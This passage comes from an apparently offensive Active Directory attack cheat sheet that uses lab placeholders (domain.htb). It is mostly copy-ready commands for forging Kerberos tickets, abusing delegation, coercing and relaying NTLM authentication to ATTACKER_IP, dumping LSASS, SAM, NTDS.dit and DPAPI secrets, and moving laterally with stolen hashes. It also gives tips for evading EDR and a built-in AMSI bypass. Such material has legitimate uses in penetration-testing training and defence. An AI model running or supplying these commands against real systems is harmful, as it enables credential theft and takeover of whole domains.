# /user:  β€” The user to impersonate (doesn't need to exist!)
# /domain: β€” Domain FQDN
# /sid:  β€” Domain SID
# /krbtgt: β€” The krbtgt NTLM hash
# /ptt  β€” Pass the ticket (inject into current session)

# ═══ Create Golden Ticket with Impacket ═══
impacket-ticketer -nthash KRBTGT_NTLM_HASH -domain-sid S-1-5-21-XXXX-XXXX-XXXX \
  -domain domain.htb Administrator

# Use the ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec domain.htb/[email protected] -k -no-pass
impacket-secretsdump domain.htb/[email protected] -k -no-pass

# ═══ Create Golden Ticket with Rubeus ═══
Rubeus.exe golden /user:Administrator /domain:domain.htb \
  /sid:S-1-5-21-XXXX-XXXX-XXXX /krbtgt:KRBTGT_HASH /ptt

Silver Ticket Attack

A Silver Ticket is a forged TGS β€” access to a specific service without ever talking to the KDC. You only need the service account's NTLM hash (not the krbtgt). It's stealthier than a Golden Ticket because the DC is never contacted.

# How a Silver Ticket works:
#
#  Normal flow:
#  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”  TGS-REQ  β”Œβ”€β”€β”€β”€β”€β”  TGS-REP  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”
#  β”‚ Client β”‚ ────────► β”‚ KDC β”‚ ────────► β”‚ Service β”‚
#  β”‚        β”‚           β””β”€β”€β”€β”€β”€β”˜           β”‚ (CIFS,  β”‚
#  β”‚        β”‚ ────────────────────────────►│  HTTP)  β”‚
#  β””β”€β”€β”€β”€β”€β”€β”€β”€β”˜   AP-REQ (service ticket)   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
#
#  Silver Ticket:
#  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    We forge the TGS directly     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”
#  β”‚ Attacker β”‚ ─────────────────────────────────►│ Service β”‚
#  β”‚          β”‚    AP-REQ (forged service ticket)  β”‚         β”‚
#  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    Encrypted with service hash     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
#                  KDC is NEVER contacted!
#                  (harder to detect)

# ═══ Mimikatz ═══
# Silver ticket for CIFS (file shares) on DC01
mimikatz# kerberos::golden /user:Administrator /domain:domain.htb \
  /sid:S-1-5-21-XXXX-XXXX-XXXX \
  /target:DC01.domain.htb /service:cifs \
  /rc4:SERVICE_NTLM_HASH /ptt

# Silver ticket for HTTP (web services)
mimikatz# kerberos::golden /user:Administrator /domain:domain.htb \
  /sid:S-1-5-21-XXXX-XXXX-XXXX \
  /target:WEB01.domain.htb /service:http \
  /rc4:SERVICE_NTLM_HASH /ptt

# Silver ticket for LDAP on DC (enables DCSync!)
mimikatz# kerberos::golden /user:Administrator /domain:domain.htb \
  /sid:S-1-5-21-XXXX-XXXX-XXXX \
  /target:DC01.domain.htb /service:ldap \
  /rc4:DC01_MACHINE_HASH /ptt

# ═══ Impacket ═══
impacket-ticketer -nthash SERVICE_NTLM_HASH -domain-sid S-1-5-21-XXXX-XXXX-XXXX \
  -domain domain.htb -spn cifs/DC01.domain.htb Administrator

export KRB5CCNAME=Administrator.ccache
impacket-smbclient domain.htb/[email protected] -k -no-pass

# Common service SPNs for Silver Tickets:
# cifs   β€” File shares (\\server\share)
# http   β€” Web services, WinRM
# ldap   β€” LDAP queries, DCSync
# mssql  β€” SQL Server access
# host   β€” PsExec, task scheduler
# wsman  β€” WinRM / PowerShell remoting

Diamond Ticket

A Diamond Ticket is a modified legitimate TGT β€” rather than forging a ticket from scratch (Golden Ticket), you request a real TGT and then decrypt it with the krbtgt hash, modify the PAC (Privileged Attribute Certificate) to add Domain Admin groups, and re-encrypt it. This is harder to detect because the ticket metadata looks legitimate.

# Rubeus Diamond Ticket
Rubeus.exe diamond /krbkey:AES256_KRBTGT_KEY /user:Administrator \
  /domain:domain.htb /dc:DC01.domain.htb /ticketuser:regularuser \
  /ticketuserid:1103 /groups:512 /ptt

# /krbkey:  β€” AES256 key of krbtgt (preferred over NTLM for stealth)
# /ticketuser: β€” The user whose TGT to modify
# /groups:512  β€” 512 = Domain Admins group RID
πŸ’‘ Pro tip: Detection difficulty ranking: Golden Ticket (easiest to detect β€” anomalous ticket lifetime, encryption type mismatch) β†’ Silver Ticket (moderate β€” PAC validation can catch it) β†’ Diamond Ticket (hardest β€” looks like a real ticket with legitimate metadata).

Delegation Attacks

Kerberos delegation allows a service to act on behalf of a user. It's needed for scenarios like "web server accesses SQL on behalf of the logged-in user." But misconfigurations make it devastating.

Unconstrained Delegation

A computer with unconstrained delegation caches the TGT of any user that authenticates to it. If you compromise that machine, you get everyone's TGTs β€” including Domain Admins.

# Find computers with unconstrained delegation
# PowerView:
Get-DomainComputer -Unconstrained

# LDAP:
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'pass' -b 'DC=domain,DC=htb' \
  '(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' cn

# BloodHound: "Find Computers with Unconstrained Delegation"

# ═══ Exploitation ═══
# Step 1: Compromise the machine with unconstrained delegation
# Step 2: Monitor for incoming TGTs (Rubeus)
Rubeus.exe monitor /interval:5 /nowrap

# Step 3: Coerce authentication from the DC (PrinterBug / PetitPotam)
# From another machine, trigger the DC to auth to our compromised machine:
SpoolSample.exe DC01.domain.htb COMPROMISED-SERVER.domain.htb

# Step 4: Rubeus captures the DC's TGT
# Step 5: Use the TGT for DCSync
Rubeus.exe ptt /ticket:BASE64_TGT
mimikatz# lsadump::dcsync /domain:domain.htb /user:krbtgt

Constrained Delegation

Constrained delegation limits which services a machine/user can delegate to. But the S4U (Service for User) protocol extensions let you abuse it to impersonate any user to the allowed services.

# Find accounts with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# Check the msDS-AllowedToDelegateTo attribute
Get-DomainUser svc_web -Properties msds-AllowedToDelegateTo

# ═══ Exploitation with Rubeus ═══
# S4U2Self: Get a ticket to ourselves as any user
# S4U2Proxy: Forward that ticket to the allowed service

# If we have the hash/password of the constrained delegation account:
Rubeus.exe s4u /user:svc_web /rc4:HASH /impersonateuser:Administrator \
  /msdsspn:cifs/DC01.domain.htb /ptt

# Alternative SPN (the target service in AllowedToDelegateTo)
Rubeus.exe s4u /user:svc_web /rc4:HASH /impersonateuser:Administrator \
  /msdsspn:http/DC01.domain.htb /altservice:cifs /ptt

# ═══ Exploitation with Impacket ═══
impacket-getST -spn 'cifs/DC01.domain.htb' -impersonate Administrator \
  'domain.htb/svc_web:password'

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain.htb/[email protected]

Resource-Based Constrained Delegation (RBCD)

RBCD flips the delegation model β€” instead of the delegating account specifying what it can delegate to, the target machine specifies who is allowed to delegate to it (via msDS-AllowedToActOnBehalfOfOtherIdentity). If you can write to that attribute on a computer, you can configure RBCD and get admin access.

# Requirements: GenericAll/GenericWrite/WriteDACL on a computer object
# + ability to create a machine account (default: any domain user can create up to 10)

# Step 1: Create a new machine account
impacket-addcomputer -computer-name 'EVIL$' -computer-pass 'EvilPass123!' \
  -dc-ip DC_IP domain.htb/user:password

# Step 2: Set RBCD β€” configure target to trust our new machine
impacket-rbcd -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write \
  -dc-ip DC_IP domain.htb/user:password

# Step 3: S4U to get admin ticket
impacket-getST -spn 'cifs/TARGET.domain.htb' -impersonate Administrator \
  -dc-ip DC_IP 'domain.htb/EVIL$:EvilPass123!'

# Step 4: Use the ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.domain.htb
πŸ’‘ Pro tip: RBCD is one of the most common escalation paths in modern AD. If BloodHound shows you have GenericWrite on ANY computer, think RBCD immediately. The default machine account quota of 10 means any domain user can create computer accounts to abuse this.

πŸ“‘ NTLM Relay Attacks

NTLM relay is one of the most powerful network-level AD attacks. Instead of cracking captured NTLM hashes, you relay the authentication to another service in real-time β€” making the victim authenticate to a target of your choice.

# ═══ NTLM RELAY β€” HOW IT WORKS ═══
#
#  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
#  β”‚  Victim  β”‚  NTLM Auth         β”‚ Attacker β”‚  Relayed Auth      β”‚  Target  β”‚
#  β”‚  (DC01)  β”‚ ──────────────────►│ (Relay)  β”‚ ──────────────────►│  (ADCS)  β”‚
#  β”‚          β”‚  "I am DC01$"      β”‚          β”‚  "I am DC01$"      β”‚          β”‚
#  β”‚          β”‚                    β”‚          β”‚                    β”‚          β”‚
#  β”‚          β”‚  Challenge          β”‚          β”‚  Challenge          β”‚          β”‚
#  β”‚          β”‚ ◄──────────────────│          β”‚ ◄──────────────────│          β”‚
#  β”‚          β”‚                    β”‚          β”‚                    β”‚          β”‚
#  β”‚          β”‚  Response           β”‚          β”‚  Response           β”‚          β”‚
#  β”‚          β”‚ ──────────────────►│          β”‚ ──────────────────►│          β”‚
#  β”‚          β”‚                    β”‚          β”‚  "Auth successful!" β”‚          β”‚
#  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
#
#  The attacker is a man-in-the-middle:
#  1. Coerce victim to authenticate to attacker
#  2. Relay that authentication to the real target
#  3. Target thinks victim authenticated β€” grants access
#  4. Attacker uses that authenticated session

Step 1: Capture Hashes with Responder

Responder poisons LLMNR/NBT-NS/mDNS requests on the local network. When a machine fails DNS resolution, it broadcasts "who is \\server?" β€” Responder answers "me!" and captures the NTLM hash.

# Start Responder to capture NTLMv2 hashes
sudo responder -I eth0 -dwv

# -I eth0 β€” Network interface
# -d β€” Enable DHCP responses
# -w β€” Enable WPAD rogue proxy
# -v β€” Verbose

# Responder will capture hashes like:
# [SMB] NTLMv2-SSP Hash : domain\jsmith::DOMAIN:abc123...
# [HTTP] NTLMv2 Hash    : domain\admin::DOMAIN:def456...

# Crack captured NTLMv2 hashes
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt

# For relay, disable SMB and HTTP in Responder (we're relaying, not capturing)
sudo nano /usr/share/responder/Responder.conf
# Set: SMB = Off, HTTP = Off

Step 2: Relay with ntlmrelayx

# Find targets that DON'T require SMB signing (required for relay)
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

# Start ntlmrelayx pointed at targets
impacket-ntlmrelayx -tf relay_targets.txt -smb2support

# Relay and execute a command
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c 'whoami'

# Relay and dump SAM
impacket-ntlmrelayx -tf relay_targets.txt -smb2support --dump-sam

# Relay to LDAP (e.g., for RBCD or adding computer accounts)
impacket-ntlmrelayx -t ldap://DC01.domain.htb --delegate-access

# Relay to ADCS web enrollment (ESC8 β€” see ADCS section)
impacket-ntlmrelayx -t http://CA01.domain.htb/certsrv/certfnsh.asp \
  --adcs --template DomainController
πŸ’‘ Pro tip: SMB signing being required blocks SMB relay. Domain Controllers have signing required by default, but member servers often don't. Check with CrackMapExec β€” if it says "signing: False", that target is relayable.

Authentication Coercion Techniques

Relay is useless without a victim authenticating to you. Coercion techniques force a target machine to authenticate to your attacker machine:

# ═══ PetitPotam (MS-EFSRPC) ═══
# Forces a machine to authenticate via the Encrypting File System Remote Protocol
# Works unauthenticated on unpatched DCs!
python3 PetitPotam.py ATTACKER_IP DC_IP

# Authenticated version (always works):
python3 PetitPotam.py -u user -p password -d domain.htb ATTACKER_IP DC_IP

# ═══ PrinterBug / SpoolSample (MS-RPRN) ═══
# Abuses the Print Spooler service β€” forces machine to auth back to you
# Requires valid domain creds
SpoolSample.exe DC01.domain.htb ATTACKER_IP
# Or from Linux:
python3 printerbug.py domain.htb/user:password@DC_IP ATTACKER_IP

# ═══ DFSCoerce (MS-DFSNM) ═══
# Uses Distributed File System to coerce authentication
python3 dfscoerce.py -u user -p password -d domain.htb ATTACKER_IP DC_IP

# ═══ ShadowCoerce (MS-FSRVP) ═══
# Uses File Server VSS Agent Service
python3 shadowcoerce.py -u user -p password -d domain.htb ATTACKER_IP DC_IP

Classic NTLM Relay Attack Chain

# The "PetitPotam + ADCS relay" combo β€” one of the most devastating AD attacks
#
# β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  PetitPotam    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  Relay to ADCS   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
# β”‚    DC01   β”‚ ──────────────►│  Attacker β”‚ ────────────────►│  CA01     β”‚
# β”‚           β”‚  coerced auth  β”‚  (relay)  β”‚  request cert    β”‚  (ADCS)   β”‚
# β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  as DC01$         β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
#                                    β”‚
#                                    β–Ό
#                              Certificate for DC01$
#                                    β”‚
#                                    β–Ό
#                              Authenticate as DC01$
#                                    β”‚
#                                    β–Ό
#                              DCSync β†’ All domain hashes

# Step 1: Start ntlmrelayx targeting ADCS
impacket-ntlmrelayx -t http://CA01.domain.htb/certsrv/certfnsh.asp \
  --adcs --template DomainController

# Step 2: Trigger PetitPotam
python3 PetitPotam.py ATTACKER_IP DC01.domain.htb

# Step 3: ntlmrelayx gets a certificate for DC01$
# Step 4: Use the certificate to authenticate
certipy auth -pfx dc01.pfx -dc-ip DC_IP

# Step 5: DCSync with the DC machine account
impacket-secretsdump domain.htb/DC01\$@DC_IP -hashes :HASH

πŸ—οΈ Credential Dumping

Once you have admin access on a machine, you need to extract credentials. Different sources hold different types of credentials, and each extraction method has different noise levels and requirements.

SAM Database

The Security Account Manager (SAM) holds local user account hashes. It's stored in C:\Windows\System32\config\SAM and is locked while Windows is running.

# ═══ From a running system (need SYSTEM/admin access) ═══

# Method 1: Registry save (most reliable)
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
reg save HKLM\SECURITY security.bak
# Transfer files to attacker, then:
impacket-secretsdump -sam sam.bak -system system.bak -security security.bak LOCAL

# Method 2: Mimikatz
mimikatz# token::elevate
mimikatz# lsadump::sam

# Method 3: CrackMapExec (remote, needs admin)
crackmapexec smb TARGET -u admin -p password --sam

# ═══ From offline / backup / shadow copy ═══
# Copy from Volume Shadow Copy
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system

LSASS Process Dump

LSASS (Local Security Authority Subsystem Service) is the mother lode. It holds plaintext passwords (if WDigest is enabled), NTLM hashes, and Kerberos tickets for all logged-in users. Dumping LSASS is the #1 credential extraction technique.

# ═══ Mimikatz (classic) ═══
# Requires SYSTEM or SeDebugPrivilege
mimikatz# privilege::debug
mimikatz# sekurlsa::logonpasswords
# Outputs: usernames, domain, NTLM hashes, and sometimes plaintext passwords!

# Dump just NTLM hashes (less output):
mimikatz# sekurlsa::msv

# Dump Kerberos tickets from memory:
mimikatz# sekurlsa::tickets /export

# ═══ Procdump (Sysinternals β€” signed by Microsoft, less likely to be flagged) ═══
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Transfer dmp file to attacker machine, parse with Mimikatz:
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

# Or parse with pypykatz (Linux):
pypykatz lsa minidump lsass.dmp

# ═══ comsvcs.dll (built into Windows β€” no tools needed!) ═══
# Find LSASS PID first
tasklist /fi "imagename eq lsass.exe"
# Dump using the built-in MiniDump function
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump PID C:\temp\lsass.dmp full

# ═══ nanodump (modern, stealthy) ═══
nanodump.exe --write C:\temp\lsass.dmp

# ═══ CrackMapExec (remote LSASS dump) ═══
crackmapexec smb TARGET -u admin -p password --lsa
crackmapexec smb TARGET -u admin -p password -M lsassy

# ═══ From Linux with impacket ═══
impacket-secretsdump domain.htb/admin:password@TARGET
πŸ’‘ Pro tip: Windows Defender and EDRs heavily monitor LSASS access. In 2024+, direct Mimikatz on disk gets caught instantly. Use: (1) procdump.exe (signed Microsoft binary), (2) comsvcs.dll (LOLBin β€” lives on every Windows box), or (3) dump from a Linux attacker machine using impacket-secretsdump or crackmapexec --lsa. Parse offline with pypykatz.

DPAPI Secrets

DPAPI (Data Protection API) protects saved browser passwords, Wi-Fi passwords, RDP credentials, and other secrets. If you have SYSTEM access, you can decrypt them.

# Dump DPAPI masterkeys and decrypt secrets
mimikatz# dpapi::cred /in:C:\Users\jsmith\AppData\Roaming\Microsoft\Credentials\*

# Browser saved passwords
mimikatz# dpapi::chrome /in:"C:\Users\jsmith\AppData\Local\Google\Chrome\User Data\Default\Login Data"

# SharpDPAPI (C# tool β€” less detected)
SharpDPAPI.exe triage
SharpDPAPI.exe credentials /server:DC01.domain.htb
SharpDPAPI.exe backupkey /server:DC01.domain.htb  # Domain DPAPI backup key!

Cached Domain Credentials

Windows caches the last 10 domain logon hashes (DCC2/mscache2) so users can log in when the DC is unreachable. These are slow to crack but still valuable.

# Extract cached creds
mimikatz# lsadump::cache

# Or via registry
impacket-secretsdump -sam sam.bak -system system.bak -security security.bak LOCAL
# Look for "Cached domain logon information"

# Crack DCC2 hashes (SLOW β€” mode 2100)
hashcat -m 2100 cached_hashes.txt /usr/share/wordlists/rockyou.txt

NTDS.dit β€” The Domain Database

NTDS.dit is the Active Directory database stored on Domain Controllers. It contains EVERY domain user's password hash. Getting this file = game over for the entire domain.

# ═══ Method 1: DCSync (preferred β€” no file transfer needed) ═══
impacket-secretsdump domain.htb/admin:password@DC_IP
mimikatz# lsadump::dcsync /domain:domain.htb /all /csv

# ═══ Method 2: Volume Shadow Copy ═══
# On the DC:
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system.bak

# Parse offline:
impacket-secretsdump -ntds ntds.dit -system system.bak LOCAL

# ═══ Method 3: ntdsutil ═══
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds_dump" quit quit
# Creates ntds.dit + SYSTEM hive in C:\temp\ntds_dump\

# ═══ Method 4: CrackMapExec ═══
crackmapexec smb DC_IP -u admin -p password --ntds

When to Use Each Technique

# β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
# β”‚ Technique          β”‚ What You Get     β”‚ When to Use                      β”‚
# β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
# β”‚ SAM dump           β”‚ Local user hashesβ”‚ First thing on any Windows box   β”‚
# β”‚ LSASS dump         β”‚ Domain hashes,   β”‚ When users are logged in         β”‚
# β”‚                    β”‚ tickets,plaintextβ”‚ (check sessions first!)          β”‚
# β”‚ DCSync             β”‚ ALL domain hashesβ”‚ When you have DA / DCSync rights β”‚
# β”‚ NTDS.dit           β”‚ ALL domain hashesβ”‚ When you're on the DC itself     β”‚
# β”‚ Cached creds       β”‚ Last 10 logons   β”‚ When box is disconnected from DC β”‚
# β”‚ DPAPI              β”‚ Saved passwords, β”‚ When you need browser/app creds  β”‚
# β”‚                    β”‚ Wi-Fi, RDP creds β”‚                                  β”‚
# β”‚ Kerberos tickets   β”‚ TGTs, TGS        β”‚ For pass-the-ticket attacks      β”‚
# β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸƒ Lateral Movement in AD

You've got creds (password or hash) for a user who is admin on another machine. Now you need to move there. Each lateral movement technique uses a different protocol and leaves different forensic artifacts.

Lateral Movement Tools Comparison

# β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
# β”‚ Tool       β”‚ Protocol  β”‚ Port      β”‚ Artifacts  β”‚ Notes                        β”‚
# β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
# β”‚ PsExec     β”‚ SMB       β”‚ 445       β”‚ HIGH       β”‚ Creates a service, writes    β”‚
# β”‚            β”‚           β”‚           β”‚            β”‚ binary to ADMIN$. Very noisy.β”‚
# β”‚            β”‚           β”‚           β”‚            β”‚ Event IDs: 7045, 4697        β”‚
# β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
# β”‚ WMIExec    β”‚ WMI/DCOM  β”‚ 135+      β”‚ LOW        β”‚ No file drop, uses WMI for   β”‚
# β”‚            β”‚           β”‚ dynamic   β”‚            β”‚ command execution. Semi-      β”‚
# β”‚            β”‚           β”‚           β”‚            β”‚ interactive shell. Stealthy.  β”‚
# β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
# β”‚ SMBExec    β”‚ SMB       β”‚ 445       β”‚ MEDIUM     β”‚ Creates a service but no     β”‚
# β”‚            β”‚           β”‚           β”‚            β”‚ binary drop. Slightly less   β”‚
# β”‚            β”‚           β”‚           β”‚            β”‚ noisy than PsExec.           β”‚
# β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
# β”‚ AtExec     β”‚ Task Schedβ”‚ 445       β”‚ LOW-MED    β”‚ Uses scheduled tasks via SMB.β”‚
# β”‚            β”‚           β”‚           β”‚            β”‚ Output via file share. Task   β”‚
# β”‚            β”‚           β”‚           β”‚            β”‚ Scheduler logs (Event 4698). β”‚
# β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
# β”‚ Evil-WinRM β”‚ WinRM     β”‚ 5985/5986 β”‚ LOW        β”‚ Full PowerShell session.     β”‚
# β”‚            β”‚           β”‚           β”‚            β”‚ Uses legitimate WinRM infra. β”‚
# β”‚            β”‚           β”‚           β”‚            β”‚ Upload/download built in.    β”‚
# β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
# β”‚ DCOM       β”‚ DCOM/RPC  β”‚ 135+      β”‚ LOW        β”‚ Multiple DCOM objects can    β”‚
# β”‚            β”‚           β”‚ dynamic   β”‚            β”‚ execute commands. Rarely     β”‚
# β”‚            β”‚           β”‚           β”‚            β”‚ monitored.                   β”‚
# β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
# β”‚ RDP        β”‚ RDP       β”‚ 3389      β”‚ HIGH       β”‚ Full GUI session. Leaves     β”‚
# β”‚            β”‚           β”‚           β”‚            β”‚ extensive logs. User profile β”‚
# β”‚            β”‚           β”‚           β”‚            β”‚ created on first login.      β”‚
# β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

PsExec

# Impacket PsExec (creates a service, writes exe to ADMIN$ share)
impacket-psexec domain.htb/admin:password@TARGET
impacket-psexec domain.htb/admin@TARGET -hashes :NTLM_HASH

# Sysinternals PsExec (from Windows)
PsExec.exe \\TARGET -u domain\admin -p password cmd.exe
PsExec.exe \\TARGET -u domain\admin -p password -s cmd.exe  # SYSTEM shell

# CrackMapExec (quick command execution)
crackmapexec smb TARGET -u admin -p password -x 'whoami'

WMIExec (Stealthier)

# Semi-interactive shell via WMI
impacket-wmiexec domain.htb/admin:password@TARGET
impacket-wmiexec domain.htb/admin@TARGET -hashes :NTLM_HASH

# CrackMapExec with WMI
crackmapexec smb TARGET -u admin -p password --exec-method wmiexec -x 'whoami'

Evil-WinRM

# Full PowerShell shell via WinRM (port 5985)
evil-winrm -i TARGET -u admin -p 'password'
evil-winrm -i TARGET -u admin -H NTLM_HASH

# With certificate auth (from ADCS abuse)
evil-winrm -i TARGET -c cert.pem -k key.pem -S

# Upload and download files
*Evil-WinRM* PS> upload /tmp/SharpHound.exe C:\temp\SharpHound.exe
*Evil-WinRM* PS> download C:\temp\lsass.dmp /tmp/lsass.dmp

# Load PowerShell scripts
*Evil-WinRM* PS> menu
*Evil-WinRM* PS> Bypass-4MSI  # AMSI bypass built in!

Pass-the-Hash (PtH)

# With the NTLM hash β€” no password needed
impacket-psexec domain.htb/admin@TARGET -hashes :NTLM_HASH
impacket-wmiexec domain.htb/admin@TARGET -hashes :NTLM_HASH
evil-winrm -i TARGET -u admin -H NTLM_HASH
crackmapexec smb 10.10.10.0/24 -u admin -H NTLM_HASH

# From Windows (Mimikatz)
mimikatz# sekurlsa::pth /user:admin /domain:domain.htb /ntlm:HASH /run:cmd.exe
